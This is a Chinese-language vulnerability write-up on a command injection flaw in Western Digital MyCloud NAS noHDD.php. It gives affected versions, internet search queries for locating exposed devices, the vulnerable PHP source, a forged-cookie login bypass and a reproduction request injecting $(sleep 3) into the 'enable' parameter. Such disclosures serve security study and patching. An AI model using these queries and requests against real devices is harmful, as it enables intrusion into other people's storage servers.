西部数码 NAS php/noHDD.php 命令执行漏洞


漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS noHDD.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 noHDD.php 其业务实现逻辑如下

<?php
//$username = $_REQUEST['username'];
//exec("wto -n \"$username\" -g", $ret);
//sscanf($ret[0], "timeout : %d", $timeout_val);
//$res = array();
//exec("xmldbc -g /system_mgr/idle/time", $res);
//$web_timeout = $res[0]*60;
//
//if ($timeout_val == -1 || strlen($username)==0 || $timeout_val >= $web_timeout)
//{
//  header('Content-type: text/xml');
//  echo "<info><status>timeout</status><timeout>$timeout_val</timeout><u>$username</u></info>";
//  return;
//}
session_start();
$r = new stdClass();
$r->success = false;

include ("../lib/login_checker.php");
$r->chk = login_check();
$r->isAdmin = $_SESSION['isAdmin'];
$r->n = $_SESSION['username'];
/* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
if (login_check() == 0)
{
    echo json_encode($r);
    exit;
}

$cmd = $_REQUEST['cmd'];
$enable = $_REQUEST['enable'];  //enable or disable

switch ($cmd) {
    case "getDiskStatus":
       getDiskStatus();
       break;
    case "setSataPower":
       setSataPower($enable);
       break;
}
function setSataPower($enable)
{
    $state = "ok";
    if(file_exists("/tmp/system_ready"))
    {
       $setCmd = "sata_power.sh \"$enable\"";
    exec($setCmd,$retval);
    }

当cmd=setSataPower时,从请求中获取 enable 参数,在未进行任何过滤或转义的情况下,直接将其拼接到 $setCmd中,然后用exec() 函数执行的系统命令中,导致了命令注入漏洞。尽管此漏洞需要管理员权限才能触发,但可以结合login_check的权限绕过达到 rce的效果。

漏洞复现

GET /web/php/noHDD.php HTTP/1.1
Host: west-nas.mrxn.ent
Cookie: isAdmin=1;username=admin

cmd=setSataPower&enable=$(sleep 3)

成功延时 3 秒


手机扫码阅读

金和OA AcceptGetFileNameEdit.aspx SQL注入漏洞

金和OA AcceptShow.aspx SQL注入漏洞

评 论